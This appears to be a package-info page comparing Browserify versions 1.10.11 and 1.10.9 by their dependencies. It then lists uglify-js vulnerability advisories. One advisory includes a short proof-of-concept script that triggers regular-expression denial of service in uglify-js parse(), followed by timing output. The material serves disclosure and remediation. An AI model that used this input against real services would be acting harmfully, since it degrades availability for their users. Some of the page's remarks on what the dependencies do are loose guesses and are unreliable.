Browserify is a powerful tool for JavaScript developers aiming to use Node.js-style modules within a web browser. Versions 1.10.11 and 1.10.9, though close in their release dates (both April 30, 2012), present subtle but potentially important differences. Both versions offer the core functionality of resolving require() calls for browser environments, allowing developers to organize their client-side code into manageable modules and leverage the vast ecosystem of npm packages.
A key difference lies in the dependencies section. Version 1.10.11 introduces crypto-browserify as a dependency, which is absent in version 1.10.9. This suggests that version 1.10.11 provides enhanced cryptographic capabilities directly within the browser, a significant advantage for applications requiring secure data handling. Developers working with encryption, hashing, or other cryptographic operations will find this addition valuable, potentially simplifying their workflow and reducing the need for separate crypto libraries.
Beyond this, both versions share a similar set of core dependencies and development dependencies, indicating a consistent development environment and build process. The presence of tools like coffee-script in dependencies suggests that Browserify supports seamless integration with CoffeeScript projects. The devDependencies contain packages like tap for testing, jade for templating (now known as pug), and lazy for lazy variable instantiation, helping on improving the speed of the tool. Further, the inclusion of frontend librarires like backbone and jquery demonstrate that browserify can also resolve those dependencies when building the client side application.
Choosing between these versions hinges on whether the cryptographic functionalities offered by crypto-browserify in version 1.10.11 are essential for your project. If encryption is a priority, upgrading to 1.10.11 is advisable. Otherwise, version 1.10.9 provides a solid foundation for browser-based module management.
All the vulnerabilities related to the version 1.10.11 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.